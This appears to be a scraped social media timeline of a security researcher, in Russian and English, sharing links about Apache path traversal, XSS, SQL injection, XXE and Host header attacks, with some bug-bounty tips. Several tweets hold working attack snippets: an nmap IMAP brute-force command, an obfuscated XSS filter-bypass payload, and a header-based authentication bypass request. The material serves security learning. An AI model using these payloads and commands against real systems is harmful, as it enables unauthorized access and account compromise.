winstrool

Security researcher.

[winstrool @winstrool]

http://t.co/l9mBivRIpQ
Занимаюсь лечением сайтов от вирусов, от всякой заразы, пакости, гадости!
#antichat

[winstrool @winstrool]

Какой длины Ваш пароль для wi-fi?

[ch @chybeta]

CVE-2021-42013 & CVE-2021-41773
Apache HTTPd  Path Traversal and Remote Code Execution

[winstrool @winstrool]

Уязвимость в PPOM for WooCommerce 23.2 | https://t.co/OrOvL64AXf https://t.co/DGl66zqH9n

[winstrool @winstrool]

Взлом посредством CVE-2021-40444 https://t.co/KlfJYZMLjT

[winstrool @winstrool]

JavaScript prototype pollution attack in NodeJS

https://t.co/9D32nhTDdc

[winstrool @winstrool]

Как неправильная политика рабочих групп в #Telegram, может привести к утечки чувствительной информации.
#dataleak #leakeddata

[winstrool @winstrool]

Уязвимость нулевого дня (0day) в плагине распространённой CMS Magento https://t.co/NOY76bUd55 #MageCart #GwishList #0day #roundsec

[winstrool @winstrool]

#Nmap as a brute-force tool in the #Pentestit lab, got it faster than hydra and patator
nmap -p 143 --script imap-brute --script-args userdb=/path/user.txt,passdb=/path/pass.txt 192.168.101.17

#Testlab #webhack #PenetrationTools #whitehack #websecurity

[Luis Madero @_Y000_]

🆕 Xss payload bypass usando /**/ y Entity Number

Entity Numbers:

\x65 = e
\x28 = (
\x29 = )

Spaces:

/
%20
/**/

<details/**/open/**/ontoggle=Set.constructor`al\x65rt\x28"_Y000!_"\x29```

#xss #payload #bypass

[winstrool @winstrool]

Расследуем целевую шпионскую атаку на российский ТЭК https://t.co/GcZl5HwSUp via @habr_com

[what_web @jae_hak99]

How to find authentication bypass vulnerabilities.
Focus. I Added headers.

Request
GET /delete?user=test HTTP/1.1
Response
HTTP/1.1 401 Unauthorized

Reqeust
GET /delete?user=test HTTP/1.1
X-Custom-IP-Authorization: 127.0.0.1
Response
HTTP/1.1 302 Found

#bugbounty #bugbountytip

[winstrool @winstrool]

Playing with Content-Type – XXE on JSON Endpoints https://t.co/Guq0MtuqWs

[winstrool @winstrool]

We Decide What You See: Remote Code Execution on a Major IPTV Platform - Check Point Research https://t.co/yauxr9LoAc

[winstrool @winstrool]

[Sqli] Extracting data without knowing columns names https://t.co/qlBIMCfNkO

[winstrool @winstrool]

Skeleton Scribe: Practical HTTP Host header attacks https://t.co/QFgz4Y6kLf

[winstrool @winstrool]

Инъекции в Yandex ClickHouse
https://t.co/2956u7P1RF

[winstrool @winstrool]

XSS в сервисе Яндекс-карты

https://t.co/7KQqq3PktX

#xss #Yandex #maps #websecurity #vulnerability

[winstrool @winstrool]

In the video, ACESS_TOKEN was covered up, but forgot in the screenshot))
https://t.co/f1cKQLNBNS @AmolBaikar

[winstrool @winstrool]

Alternatives to Extract Tables and Columns from MySQL and MariaDB https://t.co/OXku6F5iKR с помощью @OsandaMalith

[winstrool @winstrool]

nmap -p9200 --script=elasticsearch <target>
@Menin_TheMiddle
https://t.co/05J5b8n91E